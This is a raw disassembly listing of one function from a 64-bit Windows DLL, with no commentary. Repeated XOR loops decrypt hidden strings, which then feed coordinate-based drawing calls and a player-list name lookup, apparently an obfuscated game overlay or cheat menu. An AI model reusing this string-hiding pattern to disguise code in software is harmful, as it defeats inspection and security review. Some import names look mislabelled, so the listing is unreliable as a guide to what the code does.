movzx eax, word [0x1801c3e68]
lea rdx, [0x180249172]
movsd xmm0, qword [0x1801c3e60]
lea rcx, [rbp + 0x11a8]
movsd qword [rbp + 0x11a8], xmm0
xor byte [rbp + 0x11a9], 0x37
xor byte [rbp + 0x11aa], 0x38
xor byte [rbp + 0x11ab], 0x39
xor byte [rbp + 0x11ac], 0x3a
xor byte [rbp + 0x11ad], 0x3b
xor byte [rbp + 0x11ae], 0x3c
xor byte [rbp + 0x11af], 0x3d
mov word [rbp + 0x11b0], ax
movzx eax, byte [0x1801c3e6a]
xor byte [rbp + 0x11b0], 0x3e
xor al, 0x40
xor byte [rbp + 0x11b1], 0x3f
mov byte [rbp + 0x11b2], al
mov byte [rbp + 0x11a8], 0x54
call fcn.1800032d0
cmp byte [0x1801c3e7d], r14b
mov eax, dword [0x1801c3e78]
movsd xmm0, qword [0x1801c3e70]
mov dword [rbp + 0x1a18], eax
movzx eax, word [0x1801c3e7c]
mov word [rbp + 0x1a1c], ax
movsd qword [rbp + 0x1a10], xmm0
je 0x18009d024
mov r8d, r14d
cmp r12d, 2
jl 0x18009cfd7
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3e70]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a10], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a14]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a14], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a10]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009cff0
lea rdx, [0x18024917d]
lea rcx, [rbp + 0x1a10]
call fcn.1800032d0
cmp byte [0x1801c3e8d], r14b
mov eax, dword [0x1801c3e88]
movsd xmm0, qword [0x1801c3e80]
mov dword [rbp + 0x1a28], eax
movzx eax, word [0x1801c3e8c]
mov word [rbp + 0x1a2c], ax
movsd qword [rbp + 0x1a20], xmm0
je 0x18009d1b4
mov r8d, r14d
cmp r12d, 2
jl 0x18009d168
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3e80]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a20], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a24]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a24], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a20]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009d180
lea rdx, [0x180249173]
lea rcx, [rbp + 0x1a20]
call fcn.1800032d0
cmp byte [0x1801c3e9b], r14b
movsd xmm0, qword [str.bVJ_O]
mov eax, dword [0x1801c3e98]
movsd qword [rbp + 0x14a8], xmm0
mov dword [rbp + 0x14b0], eax
je 0x18009d334
mov r8d, r14d
cmp r12d, 2
jl 0x18009d2ea
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.bVJ_O]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x14a8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14ac]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14ac], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009d300
lea rdx, [0x180249188]
lea rcx, [rbp + 0x14a8]
call fcn.1800032d0
movzx eax, byte [0x1801c3eb0]
mov r8d, r14d
mov byte [rbp + 0x1f60], al
movups xmm0, xmmword [0x1801c3ea0]
movups xmmword [rbp + 0x1f50], xmm0
cmp r12d, 2
jl 0x18009d47c
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1f54]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009d381
cmp r8d, 0x11
jge 0x18009d4c4
movsxd rax, r8d
lea r9, [rbp + 0x1f50]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18009d490
lea rdx, [0x180249189]
lea rcx, [rbp + 0x1f50]
call fcn.1800032d0
mov eax, dword [0x1801c3ec0]
mov r8d, r14d
movsd xmm0, qword [0x1801c3eb8]
mov dword [rbp + 0x1c38], eax
movzx eax, word [0x1801c3ec4]
mov word [rbp + 0x1c3c], ax
movzx eax, byte [0x1801c3ec6]
mov byte [rbp + 0x1c3e], al
movsd qword [rbp + 0x1c30], xmm0
cmp r12d, 2
jl 0x18009d608
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3eb8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c30], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c34]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c34], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18009d620
lea rdx, [0x180249171]
lea rcx, [rbp + 0x1c30]
call fcn.1800032d0
call fcn.180006c20
cmp byte [0x1801c3ed3], r14b
movsd xmm0, qword [str.wSRLIO__RZ3A]
mov eax, dword [0x1801c3ed0]
movsd qword [rbp + 0x14b8], xmm0
mov dword [rbp + 0x870], 0x43a00000
mov dword [rbp + 0x874], 0x436b4405
mov dword [rbp + 0x14c0], eax
je 0x18009d7e4
mov r8d, r14d
cmp r12d, 2
jl 0x18009d7a3
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.wSRLIO__RZ3A]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x14b8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14bc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14bc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14b8]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009d7b0
xor r9d, r9d
lea rdx, [rbp + 0x870]
mov r8b, 1
lea rcx, [rbp + 0x14b8]
call fcn.180003d00
movzx eax, word [0x1801c3ee0]
lea rdx, [0x180249180]
movsd xmm0, qword [0x1801c3ed8]
lea rcx, [rbp + 0x11b8]
movsd qword [rbp + 0x11b8], xmm0
movaps xmm3, xmm6
xor byte [rbp + 0x11b9], 0x37
movaps xmm2, xmm7
xor byte [rbp + 0x11ba], 0x38
xor byte [rbp + 0x11bb], 0x39
xor byte [rbp + 0x11bc], 0x3a
xor byte [rbp + 0x11bd], 0x3b
xor byte [rbp + 0x11be], 0x3c
xor byte [rbp + 0x11bf], 0x3d
mov word [rbp + 0x11c0], ax
movzx eax, byte [0x1801c3ee2]
xor byte [rbp + 0x11c0], 0x3e
xor al, 0x40
xor byte [rbp + 0x11c1], 0x3f
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x11c2], al
mov byte [rbp + 0x11b8], 0x46
mov qword [rsp + 0x20], rdi
call fcn.180008e50
cmp byte [0x1801c3ef3], r14b
movsd xmm0, qword [str.KJ]
mov eax, dword [0x1801c3ef0]
movsd qword [rbp + 0x14c8], xmm0
mov dword [rbp + 0x14d0], eax
je 0x18009da04
mov r8d, r14d
cmp r12d, 2
jl 0x18009d9b6
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.KJ]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x14c8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14cc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14cc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14c8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009d9d0
mov dword [rsp + 0x28], r14d
lea rdx, [0x180249178]
mov r9d, 0x64
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea rcx, [rbp + 0x14c8]
call fcn.180008ec0
movzx eax, byte [0x1801c3f00]
lea rdx, [0x180249184]
movsd xmm0, qword [str.rKM_U_X_]
lea rcx, [rbp + 0xd58]
movsd qword [rbp + 0xd58], xmm0
xor al, 0x3e
xor byte [rbp + 0xd59], 0x37
mov r9d, 0x3e8
xor byte [rbp + 0xd5a], 0x38
mov r8d, 1
xor byte [rbp + 0xd5b], 0x39
xor byte [rbp + 0xd5c], 0x3a
xor byte [rbp + 0xd5d], 0x3b
xor byte [rbp + 0xd5e], 0x3c
xor byte [rbp + 0xd5f], 0x3d
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0xd60], al
mov byte [rbp + 0xd58], 0x44
mov qword [rsp + 0x20], rbx
call fcn.180008ec0
call fcn.180006c20
call fcn.180013d50
cmp dword [0x18024dbf8], 3
jne 0x1800a503e
cmp dword [0x18024dbfc], r14d
movsd xmm7, qword [0x1801c6d50]
movss xmm6, dword [0x1801c6d20]
movss xmm9, dword [0x1801b3f44]
jne 0x1800a2a56
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x878]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0x878], 0x43520000
movss dword [rbp + 0x87c], xmm0
call fcn.180025700
mov eax, dword [0x1801c3f04]
lea rdx, [rbp + 0x880]
mov dword [rbp + 0x90], eax
lea rcx, [rbp + 0x90]
movzx eax, byte [0x1801c3f08]
mov r9d, 8
xor byte [rbp + 0x91], 0x37
xor al, 0x3a
xor byte [rbp + 0x92], 0x38
xor r8d, r8d
xor byte [rbp + 0x93], 0x39
mov byte [rbp + 0x94], al
mov dword [rbp + 0x880], 0x43a50000
mov dword [rbp + 0x884], 0x4405c000
mov byte [rbp + 0x90], Ordinal_79
call fcn.18000fcc0
cmp byte [0x1801c3f1b], r14b
movsd xmm0, qword [0x1801c3f10]
mov eax, dword [0x1801c3f18]
movsd qword [rbp + 0x14d8], xmm0
mov dword [rbp + 0x888], 0x43a00000
mov dword [rbp + 0x88c], 0x43ed8000
mov dword [rbp + 0x14e0], eax
je 0x18009dcf4
mov r8d, r14d
cmp r12d, 2
jl 0x18009dcb3
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3f10]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x14d8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14dc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14dc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14d8]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009dcc0
xor r9d, r9d
lea rdx, [rbp + 0x888]
mov r8b, 1
lea rcx, [rbp + 0x14d8]
call fcn.180003d00
cmp byte [0x1801c3f2d], r14b
mov eax, dword [0x1801c3f28]
movsd xmm0, qword [str.f_Y__I]
mov dword [rbp + 0x1a38], eax
movzx eax, word [0x1801c3f2c]
mov word [rbp + 0x1a3c], ax
movsd qword [rbp + 0x1a30], xmm0
je 0x18009de84
mov r8d, r14d
cmp r12d, 2
jl 0x18009de3e
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.f_Y__I]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a30], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a34]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a34], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009de50
mov qword [rsp + 0x28], r14
lea rdx, [0x18024dd50]
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, 0x40
lea rcx, [rbp + 0x1a30]
call fcn.18004a6e0
call fcn.180016980
addss xmm0, dword [0x1801ad7d4]
call fcn.1800257a0
movzx ecx, word [0x1801c3f34]
lea rdx, [rbp + 0x890]
mov eax, dword [str.f_Y__I_]
xor r9d, r9d
mov dword [rbp + 0x2b8], eax
mov r8b, 1
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2b9], 0x37
xor al, 0x3c
xor byte [rbp + 0x2ba], 0x38
xor byte [rbp + 0x2bb], 0x39
mov word [rbp + 0x2bc], cx
xor cl, 0x3a
xor byte [rbp + 0x2bd], 0x3b
mov byte [rbp + 0x2bc], cl
lea rcx, [rbp + 0x2b8]
mov dword [rbp + 0x890], 0x43b90000
mov dword [rbp + 0x894], 0x43c58000
mov byte [rbp + 0x2b8], 0x50
mov byte [rbp + 0x2be], al
call fcn.18000fcc0
cmp byte [0x18024b0dd], r14b
mov rax, qword [0x180249268]
mov rcx, qword [rax]
je 0x18009e022
cmp qword [rcx + 8], r14
je 0x18009e232
mov rax, qword [0x180249278]
mov ebx, r14d
mov rcx, qword [rax]
mov r13, qword [rcx + 0x18]
mov r15, qword [r13 + 0x108]
test r15, r15
je 0x18009e22b
mov rdi, r14
nop dword [rax]
nop word [rax + rax]
mov rax, qword [r13 + 0x100]
mov rcx, qword [rdi + rax]
test rcx, rcx
je 0x18009e00b
mov rax, qword [0x1802492e0]
mov r9, qword [rcx + rax]
test r9, r9
je 0x18009e00b
mov r8b, 1
lea rcx, [0x18024b4e0]
xor edx, edx
call fcn.1800b3880
lea rdx, [0x18024dd50]
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x18009e00b
cmp dword [0x18024b4e4], ebx
lea r9, [rbp + 0x898]
mov rcx, rsi
mov dword [rbp + 0x898], r14d
sete dl
mov dword [rbp + 0x89c], r14d
xor r8d, r8d
call fcn.180008320
test al, al
je 0x18009e00b
mov dword [0x18024b4e4], ebx
inc ebx
add rdi, 0x10
movsxd rax, ebx
cmp rax, r15
jb 0x18009df90
jmp 0x18009e22b
cmp qword [rcx + 8], r14
je 0x18009e232
mov rax, qword [0x180249270]
mov r15d, r14d
mov r13, qword [rax]
cmp dword [r13 + 0x10], r14d
jbe 0x18009e22b
movzx ebx, byte [rsp + 0x40]
mov r12, r14
nop dword [rax + rax]
mov rax, qword [r13 + 8]
mov edx, r15d
imul edx, dword [r13 + 0x14]
movzx ecx, byte [r12 + rax]
and ecx, 0x80
add rdx, qword [r13]
neg rcx
sar rcx, 0x3f
not rcx
and rdx, rcx
je 0x18009e214
mov rax, qword [0x1802492e0]
mov rdi, qword [rdx + rax]
test rdi, rdi
je 0x18009e214
mov rax, qword [0x180249300]
lea rcx, [0x18024b4e0]
xor r9d, r9d
xor r8d, r8d
mov edi, dword [rdi + rax]
mov edx, edi
call fcn.1800b3880
mov edx, edi
lea rcx, [rbp + 0x2c90]
mov rsi, rax
call fcn.1800ea8b0
xorps xmm0, xmm0
mov qword [rbp + 0x2cc0], r14
movups xmmword [rbp + 0x2cb0], xmm0
lea r8, [rbp + 0x2cb0]
mov byte [rbp + 0x2cb0], r14b
mov rdx, rsi
mov qword [rbp + 0x2cc8], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x29f0]
mov rdi, rax
call fcn.180054750
mov r8d, 5
lea rdx, str._ID:
mov rcx, rax
call fcn.180073ca0
mov qword [rbp + 0x2ce0], r14
lea r8, [rbp + 0x2cd0]
mov qword [rbp + 0x2ce8], r14
lea rcx, [rbp + 0x2fe0]
xorps xmm0, xmm0
mov r9, rdi
movups xmmword [rbp + 0x2cd0], xmm0
movzx edx, bl
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2cd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2ce0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
call fcn.1800635f0
lea rcx, [rbp + 0x2cd0]
call fcn.180068dd0
lea rcx, [rbp + 0x29f0]
call fcn.180068dd0
lea rcx, [rbp + 0x2cb0]
call fcn.180068dd0
lea rcx, [rbp + 0x2c90]
call fcn.180068dd0
cmp qword [rbp + 0x2ff8], 0xf
lea rcx, [rbp + 0x2fe0]
lea rdx, [0x18024dd50]
cmova rcx, qword [rbp + 0x2fe0]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x18009e208
cmp dword [0x18024b4e4], r15d
lea rcx, [rbp + 0x2fe0]
lea r9, [rbp + 0x8a0]
mov dword [rbp + 0x8a0], r14d
sete dl
mov dword [rbp + 0x8a4], r14d
cmp qword [rbp + 0x2ff8], 0xf
cmova rcx, qword [rbp + 0x2fe0]
xor r8d, r8d
call fcn.180008320
test al, al
je 0x18009e208
mov dword [0x18024b4e4], r15d
lea rcx, [rbp + 0x2fe0]
call fcn.180068dd0
inc r15d
inc r12
cmp r15d, dword [r13 + 0x10]
jb 0x18009e050
mov r12d, dword [reloc.WS2_32.dll_accept]
mov r13, 0xffffffffffffffff
call fcn.180013d50
call fcn.180006c20
call fcn.180013d50
movsxd r8, dword [0x18024b4e4]
cmp r8d, 0xffffffff
je 0x18009f140
mov rax, qword [0x180249270]
mov dword [0x18024b4f8], r8d
mov r9, qword [rax]
test r9, r9
je 0x18009f147
mov ebx, dword [r9 + 0x14]
lea r15, [0x18024b4e0]
mov rax, qword [r9 + 8]
imul ebx, r8d
movzx edx, byte [rax + r8]
and edx, 0x80
add rbx, qword [r9]
neg rdx
sar rdx, 0x3f
not rdx
and rbx, rdx
je 0x18009f14e
mov rax, qword [0x1802492e0]
mov rdx, qword [rbx + rax]
test rdx, rdx
je 0x18009f14e
mov rax, qword [0x180249300]
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
mov edx, dword [rdx + rax]
call fcn.1800b3880
cvttss2si edx, dword [rbx + 0x280]
lea rcx, [rbp + 0x2cf0]
mov rsi, rax
